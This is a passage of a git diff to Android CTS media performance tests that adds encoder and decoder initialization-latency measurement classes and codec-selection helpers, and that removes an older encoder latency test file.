+                            dequeueTimeStamp = System.nanoTime();
+                            dequeueOutput(bufferID, info);
+                            break;
+                        } else {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = System.nanoTime();
+                            }
+                            enqueueInput(bufferID);
+                        }
+                    }
+                }
+            } else {
+                while (!mSawOutputEOS) {
+                    if (!mSawInputEOS) {
+                        int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                        if (inputBufferId > 0) {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = System.nanoTime();
+                            }
+                            enqueueInput(inputBufferId);
+                        }
+                    }
+                    int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+                    if (outputBufferId >= 0) {
+                        dequeueTimeStamp = System.nanoTime();
+                        dequeueOutput(outputBufferId, outInfo);
+                        break;
+                    }
+                }
+            }
+            queueEOS();
+            waitForAllOutputs();
+            mCodec.stop();
+            mCodec.release();
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure) in ns: " +
+                    (configureTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start) in ns: " +
+                    (startTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start + first frame to enqueue) in ns: " +
+                    (enqueueTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+                    " Time for (create + configure + start + first frame to dequeue) in ns: " +
+                    (dequeueTimeStamp - baseTimeStamp));
+            long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+            return timeToConfigureMs;
+        }
+    }
+
+    /**
+     * The following class calculates the decoder initialization latency (time for codec create +
+     * configure).
+     * And also logs the time taken by the decoder for:
+     * (create + configure + start),
+     * (create + configure + start + first frame to enqueue),
+     * (create + configure + start + first frame to dequeue).
+     */
+    static class DecoderInitializationLatency extends CodecDecoderTestBase {
+        private static final String LOG_TAG = DecoderInitializationLatency.class.getSimpleName();
+
+        private final String mDecoderName;
+        private final boolean mIsAsync;
+
+        DecoderInitializationLatency(String mediaType, String decoderName, String testFile,
+                boolean isAsync, boolean surfaceMode) {
+            super(mediaType, testFile);
+            mDecoderName = decoderName;
+            mIsAsync = isAsync;
+            mSurface = mIsAudio ? null :
+                    surfaceMode ? MediaCodec.createPersistentInputSurface() : null;
+        }
+
+        public long calculateInitLatency() throws Exception {
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            MediaFormat format = setUpSource(mTestFile);
+            long enqueueTimeStamp = 0;
+            long dequeueTimeStamp = 0;
+            long baseTimeStamp = System.nanoTime();
+            mCodec = MediaCodec.createByCodecName(mDecoderName);
+            resetContext(mIsAsync, false);
+            mAsyncHandle.setCallBack(mCodec, mIsAsync);
+            mCodec.configure(format, mSurface, 0, null);
+            long configureTimeStamp = System.nanoTime();
+            mCodec.start();
+            long startTimeStamp = System.nanoTime();
+            if (mIsAsync) {
+                // We will keep on feeding the input to decoder until we see the first dequeued
+                // frame.
+                while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+                    Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+                    if (element != null) {
+                        int bufferID = element.first;
+                        MediaCodec.BufferInfo info = element.second;
+                        if (info != null) {
+                            dequeueTimeStamp = System.nanoTime();
+                            dequeueOutput(bufferID, info);
+                            break;
+                        } else {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = System.nanoTime();
+                            }
+                            enqueueInput(bufferID);
+                        }
+                    }
+                }
+            } else {
+                while (!mSawOutputEOS) {
+                    if (!mSawInputEOS) {
+                        int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                        if (inputBufferId >= 0) {
+                            if (enqueueTimeStamp == 0) {
+                                enqueueTimeStamp = System.nanoTime();
+                            }
+                            enqueueInput(inputBufferId);
+                        }
+                    }
+                    int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+                    if (outputBufferId >= 0) {
+                        dequeueTimeStamp = System.nanoTime();
+                        dequeueOutput(outputBufferId, outInfo);
+                        break;
+                    }
+                }
+            }
+            queueEOS();
+            waitForAllOutputs();
+            mCodec.stop();
+            mCodec.release();
+            if (mSurface != null) {
+                mSurface.release();
+            }
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure) in ns: " +
+                    (configureTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start) in ns: " +
+                    (startTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start + first frame to enqueue) in ns: " +
+                    (enqueueTimeStamp - baseTimeStamp));
+            Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+                    " Time for (create + configure + start + first frame to dequeue) in ns: " +
+                    (dequeueTimeStamp - baseTimeStamp));
+            long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+            return timeToConfigureMs;
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
index c6a0c60..c75fffb 100644
--- a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
@@ -42,7 +42,9 @@
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.LinkedList;
+import java.util.Set;
 import java.util.concurrent.Callable;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.Lock;
@@ -178,6 +180,8 @@
     static final int SELECT_ALL = 0; // Select all codecs
     static final int SELECT_HARDWARE = 1; // Select Hardware codecs only
     static final int SELECT_SOFTWARE = 2; // Select Software codecs only
+    static final int SELECT_AUDIO = 3; // Select Audio codecs only
+    static final int SELECT_VIDEO = 4; // Select Video codecs only
     // Maintain Timeouts in sync with their counterpart in NativeMediaCommon.h
     static final long Q_DEQ_TIMEOUT_US = 5000; // block at most 5ms while looking for io buffers
     static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
@@ -339,12 +343,23 @@
 
     static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
             String[] features, boolean isEncoder) {
-        return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE);
+        return selectHardwareCodecs(mime, formats, features, isEncoder, false);
+    }
+
+    static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
+            String[] features, boolean isEncoder, boolean allCodecs) {
+        return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE, allCodecs);
     }
 
     static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
             String[] features, boolean isEncoder, int selectCodecOption) {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        return selectCodecs(mime, formats, features, isEncoder, selectCodecOption, false);
+    }
+
+    static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
+            String[] features, boolean isEncoder, int selectCodecOption, boolean allCodecs) {
+        int kind = allCodecs ? MediaCodecList.ALL_CODECS : MediaCodecList.REGULAR_CODECS;
+        MediaCodecList codecList = new MediaCodecList(kind);
         MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
         ArrayList<String> listOfCodecs = new ArrayList<>();
         for (MediaCodecInfo codecInfo : codecInfos) {
@@ -382,6 +397,31 @@
         }
         return listOfCodecs;
     }
+
+    static Set<String> getMimesOfAvailableCodecs(int codecAV, int codecType) {
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
+        Set<String> listOfMimes = new HashSet<>();
+        for (MediaCodecInfo codecInfo : codecInfos) {
+            if (codecType == SELECT_HARDWARE && !codecInfo.isHardwareAccelerated()) {
+                continue;
+            }
+            if (codecType == SELECT_SOFTWARE && !codecInfo.isSoftwareOnly()) {
+                continue;
+            }
+            String[] types = codecInfo.getSupportedTypes();
+            for (String type : types) {
+                if (codecAV == SELECT_AUDIO && !type.startsWith("audio/")) {
+                    continue;
+                }
+                if (codecAV == SELECT_VIDEO && !type.startsWith("video/")) {
+                    continue;
+                }
+                listOfMimes.add(type);
+            }
+        }
+        return listOfMimes;
+    }
 }
 
 class CodecDecoderTestBase extends CodecTestBase {
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
deleted file mode 100644
index ae09b14..0000000
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ /dev/null
@@ -1,507 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediapc.cts;
-
-import static android.mediapc.cts.CodecTestBase.selectCodecs;
-import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.media.MediaRecorder;
-import android.mediapc.cts.common.Utils;
-import android.os.Build;
-import android.util.Log;
-import android.util.Pair;
-import android.view.Surface;
-
-import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * The following test class validates the codec initialization latency (time for codec create +
- * configure) for the audio encoders and hardware video encoders available in the device, under the
- * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
- */
-@RunWith(Parameterized.class)
-public class EncoderInitializationLatencyTest {
-    private static final String LOG_TAG = EncoderInitializationLatencyTest.class.getSimpleName();
-    private static final boolean[] boolStates = {false, true};
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS = 50;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS = 65;
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS = 40;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS = 50;
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS = 30;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS = 40;
-
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
-    private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
-    private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
-    private static String AVC_DECODER_NAME;
-    private static String AVC_ENCODER_NAME;
-
-    static {
-        if (Utils.isRPerfClass()) {
-            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS;
-            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS;
-        } else if (Utils.isSPerfClass()) {
-            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS;
-            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS;
-        } else {
-            // Performance class Build.VERSION_CODES.TIRAMISU and beyond
-            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS;
-            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS;
-        }
-    }
-
-    private final String mMime;
-    private final String mEncoderName;
-
-    private LoadStatus mTranscodeLoadStatus = null;
-    private Thread mTranscodeLoadThread = null;
-    private MediaRecorder mMediaRecorderLoad = null;
-    private File mTempRecordedFile = null;
-    private Surface mSurface = null;
-    private Exception mException = null;
-
-    @Before
-    public void setUp() throws Exception {
-        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
-
-        ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
-        assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
-        AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
-
-        ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
-        assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
-        AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
-
-        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        Context context = instrumentation.getTargetContext();
-        PackageManager packageManager = context.getPackageManager();
-        assertNotNull(packageManager.getSystemAvailableFeatures());
-        assumeTrue("The device doesn't have a camera",
-                packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
-        assumeTrue("The device doesn't have a microphone",
-                packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
-        createSurface();
-        startLoad();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        stopLoad();
-        releaseSurface();
-    }
-
-    public EncoderInitializationLatencyTest(String mimeType, String encoderName) {
-        mMime = mimeType;
-        mEncoderName = encoderName;
-    }
-
-    @Rule
-    public ActivityTestRule<TestActivity> mActivityRule =
-            new ActivityTestRule<>(TestActivity.class);
-
-    // Returns the list of all available hardware video encoders in the device.
-    static ArrayList<String> getMimesOfAvailableHardwareVideoEncoders() {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
-        ArrayList<String> listOfMimes = new ArrayList<>();
-        for (MediaCodecInfo codecInfo : codecInfos) {
-            if (!codecInfo.isEncoder() || !codecInfo.isHardwareAccelerated()) continue;
-            String[] types = codecInfo.getSupportedTypes();
-            for (String type : types) {
-                if (type.startsWith("video/") && !listOfMimes.contains(type)) {
-                    listOfMimes.add(type);
-                }
-            }
-        }
-        return listOfMimes;
-    }
-
-    // Returns the list of all available audio encoders in the device.
-    static ArrayList<String> getMimesOfAvailableAudioEncoders() {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
-        ArrayList<String> listOfMimes = new ArrayList<>();
-        for (MediaCodecInfo codecInfo : codecInfos) {
-            if (!codecInfo.isEncoder()) continue;
-            String[] types = codecInfo.getSupportedTypes();
-            for (String type : types) {
-                if (type.startsWith("audio/") && !listOfMimes.contains(type)) {
-                    listOfMimes.add(type);
-                }
-            }
-        }
-        return listOfMimes;
-    }
-
-    // Returns the list of parameters with mimetype and their encoder(for audio - all encoders,
-    // video - hardware encoders).
-    // Parameters {0}_{1} -- Mime_EncoderName
-    @Parameterized.Parameters(name = "{index}({0}_{1})")
-    public static Collection<Object[]> inputParams() {
-        // Prepares the params list with the required Hardware video encoders and all available
-        // audio encoders present in the device.
-        final List<Object[]> argsList = new ArrayList<>();
-        ArrayList<String> mimesList = getMimesOfAvailableHardwareVideoEncoders();
-        mimesList.addAll(getMimesOfAvailableAudioEncoders());
-        for (String mime : mimesList) {
-            ArrayList<String> listOfEncoders;
-            if (mime.startsWith("audio/")) {
-                listOfEncoders = selectCodecs(mime, null, null, true);
-            } else {
-                listOfEncoders = selectHardwareCodecs(mime, null, null, true);
-            }
-            for (String encoder : listOfEncoders) {
-                argsList.add(new Object[]{mime, encoder});
-            }
-        }
-        return argsList;
-    }
-
-    private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
-        MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
-                .getContext());
-        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
-                MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
-        mediaRecorder.setOutputFile(mTempRecordedFile);
-        mediaRecorder.setVideoSize(1920, 1080);
-        mediaRecorder.setOrientationHint(0);
-        mediaRecorder.setPreviewDisplay(surface);
-        mediaRecorder.prepare();
-        return mediaRecorder;
-    }
-
-    private void startLoad() throws Exception {
-        // TODO: b/183671436
-        // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
-        mTranscodeLoadStatus = new LoadStatus();
-        mTranscodeLoadThread = new Thread(() -> {
-            try {
-                TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
-                        AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
-                transcodeLoad.doTranscode();
-            } catch (Exception e) {
-                mException = e;
-            }
-        });
-        // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
-        // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
-        mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
-        mTempRecordedFile.createNewFile();
-        mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
-        // Start the Loads
-        mTranscodeLoadThread.start();
-        mMediaRecorderLoad.start();
-    }
-
-    private void stopLoad() throws Exception {
-        if (mTranscodeLoadStatus != null) {
-            mTranscodeLoadStatus.setLoadFinished();
-            mTranscodeLoadStatus = null;
-        }
-        if (mTranscodeLoadThread != null) {
-            mTranscodeLoadThread.join();
-            mTranscodeLoadThread = null;
-        }
-        if (mMediaRecorderLoad != null) {
-            // Note that a RuntimeException is intentionally thrown to the application, if no valid
-            // audio/video data has been received when stop() is called. This happens if stop() is
-            // called immediately after start(). So sleep for 1000ms inorder to make sure some
-            // data has been received between start() and stop().
-            Thread.sleep(1000);
-            mMediaRecorderLoad.stop();
-            mMediaRecorderLoad.release();
-            mMediaRecorderLoad = null;
-            if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
-                mTempRecordedFile.delete();
-                mTempRecordedFile = null;
-            }
-        }
-        if (mException != null) throw mException;
-    }
-
-    private void createSurface() throws InterruptedException {
-        mActivityRule.getActivity().waitTillSurfaceIsCreated();
-        mSurface = mActivityRule.getActivity().getSurface();
-        assertTrue("Surface created is null.", mSurface != null);
-        assertTrue("Surface created is invalid.", mSurface.isValid());
-        mActivityRule.getActivity().setScreenParams(1920, 1080, true);
-    }
-
-    private void releaseSurface() {
-        if (mSurface != null) {
-            mSurface.release();
-            mSurface = null;
-        }
-    }
-
-    /**
-     * This test validates that the initialization latency(time for codec create + configure)
-     * for the audio encoders <= 30ms and for video encoders <= 40ms measuring 10 times in
-     * succession(5 times alternating sync and async modes). This also logs the stats min, max, avg
-     * of the encoder initialization latencies.
-     */
-    @LargeTest
-    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    @CddTest(requirement = "2.2.7.1/5.1/H-1-7,H-1-8")
-    public void testInitializationLatency() throws Exception {
-        final int NUM_MEASUREMENTS = 5;
-        // Test gathers initialization latency for a number of iterations and
-        // percentile is a variable used to control how many of these iterations
-        // need to meet the pass criteria. For NUM_MEASUREMENTS at 5, sync and Async
-        // modes which is a total of 10 iterations, this translates to index 7.
-        final int percentile = 70;
-        long expectedMaxCodecInitializationLatencyMs = mMime.startsWith("audio/") ?
-                MAX_AUDIOENC_INITIALIZATION_LATENCY_MS : MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
-        long sumOfEncoderInitializationLatencyMs = 0;
-        int count = 0;
-        long[] encoderInitializationLatencyMs = new long[NUM_MEASUREMENTS * boolStates.length];
-        for (int i = 0; i < NUM_MEASUREMENTS; i++) {
-            for (boolean isAsync : boolStates) {
-                EncoderInitializationLatency encoderInitializationLatency =
-                        new EncoderInitializationLatency(mMime, mEncoderName, isAsync);
-                long latency = encoderInitializationLatency.calculateEncoderInitializationLatency();
-                encoderInitializationLatencyMs[count] = latency;
-                sumOfEncoderInitializationLatencyMs += latency;
-                count++;
-            }
-        }
-        Arrays.sort(encoderInitializationLatencyMs);
-
-        String statsLog = String.format("CodecInitialization latency for mime: %s, " +
-                "Encoder: %s, in Ms :: ", mMime, mEncoderName);
-        Log.i(LOG_TAG, "Min " + statsLog + encoderInitializationLatencyMs[0]);
-        Log.i(LOG_TAG, "Max " + statsLog + encoderInitializationLatencyMs[count - 1]);
-        Log.i(LOG_TAG, "Avg " + statsLog + (sumOfEncoderInitializationLatencyMs / count));
-        long initializationLatency = encoderInitializationLatencyMs[percentile * count / 100];
-        if (Utils.isPerfClass()) {
-            String errorLog = String.format(
-                    "CodecInitialization latency for mime: %s, Encoder: %s is not as expected. "
-                            + "act/exp in Ms :: %d/%d", mMime, mEncoderName, initializationLatency,
-                    expectedMaxCodecInitializationLatencyMs);
-            assertTrue(errorLog, initializationLatency <= expectedMaxCodecInitializationLatencyMs);
-        } else {
-            int pc;
-            if (mMime.startsWith("audio/")) {
-                pc = initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS ?
-                        Build.VERSION_CODES.TIRAMISU :
-                        initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS ?
-                                Build.VERSION_CODES.S : initializationLatency <
-                                MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS ?
-                                Build.VERSION_CODES.R : 0;
-            } else {
-                pc = initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS ?
-                        Build.VERSION_CODES.TIRAMISU :
-                        initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS ?
-                                Build.VERSION_CODES.S : initializationLatency <
-                                MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS ?
-                                Build.VERSION_CODES.R : 0;
-            }
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "InitializationLatency_" + mEncoderName);
-            log.addValue("encoder", mEncoderName, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("initialization_latency", initializationLatency, ResultType.LOWER_BETTER,
-                    ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.1/H-1-7,H-1-8 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
-        }
-    }
-}
-
-/**
- * The following class calculates the encoder initialization latency (time for codec create +
- * configure). And also logs the time taken by the encoder for:
- * (create + configure + start),
- * (create + configure + start + first frame to enqueue),
- * (create + configure + start + first frame to dequeue).
- */
-class EncoderInitializationLatency extends CodecEncoderTestBase {
-    private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
-
-    private final String mEncoderName;
-    private final boolean mIsAsync;
-
-    EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
-        super(mime);
-        mEncoderName = encoderName;
-        mIsAsync = isAsync;
-        mSampleRate = 8000;
-        mFrameRate = 60;
-    }
-
-    private MediaFormat setUpFormat() throws IOException {
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, mMime);
-        if (mIsAudio) {
-            if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
-                format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
-            } else {
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
-            }
-            format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
-            format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
-        } else {
-            MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
-            MediaCodecInfo.CodecCapabilities codecCapabilities =
-                    codec.getCodecInfo().getCapabilitiesForType(mMime);
-            if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 1920);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 1280);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 720);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 640);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 480);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 352);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 288);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
-            } else {
-                format.setInteger(MediaFormat.KEY_WIDTH, 176);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 144);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
-            }
-            codec.release();
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
-            format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
-        }
-        return format;
-    }
-
-    public long calculateEncoderInitializationLatency() throws Exception {
-        MediaFormat format = setUpFormat();
-        if (mIsAudio) {
-            mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-            mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
-        } else {
-            mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
-            mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
-        }
-        setUpSource(mInputFile);
-        MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
-        long enqueueTimeStamp = 0;
-        long dequeueTimeStamp = 0;
-        long baseTimeStamp = System.nanoTime();
-        mCodec = MediaCodec.createByCodecName(mEncoderName);
-        resetContext(mIsAsync, false);
-        mAsyncHandle.setCallBack(mCodec, mIsAsync);
-        mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
-        long configureTimeStamp = System.nanoTime();
-        mCodec.start();
-        long startTimeStamp = System.nanoTime();
-        if (mIsAsync) {
-            // We will keep on feeding the input to encoder until we see the first dequeued frame.
-            while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
-                Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
-                if (element != null) {
-                    int bufferID = element.first;
-                    MediaCodec.BufferInfo info = element.second;
-                    if (info != null) {
-                        dequeueTimeStamp = System.nanoTime();
-                        dequeueOutput(bufferID, info);
-                        break;
-                    } else {
-                        if (enqueueTimeStamp == 0) {
-                            enqueueTimeStamp = System.nanoTime();
-                        }
-                        enqueueInput(bufferID);
-                    }
-                }
-            }
-        } else {
-            while (!mSawOutputEOS) {
-                if (!mSawInputEOS) {
-                    int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
-                    if (inputBufferId > 0) {
-                        if (enqueueTimeStamp == 0) {
-                            enqueueTimeStamp = System.nanoTime();
-                        }
-                        enqueueInput(inputBufferId);
-                    }
-                }
-                int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
-                if (outputBufferId >= 0) {
-                    dequeueTimeStamp = System.nanoTime();
-                    dequeueOutput(outputBufferId, outInfo);
-                    break;
-                }
-            }
-        }
-        queueEOS();
-        waitForAllOutputs();
-        mCodec.stop();
-        mCodec.release();
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure) in ns: " + (configureTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start) in ns: " +
-                (startTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
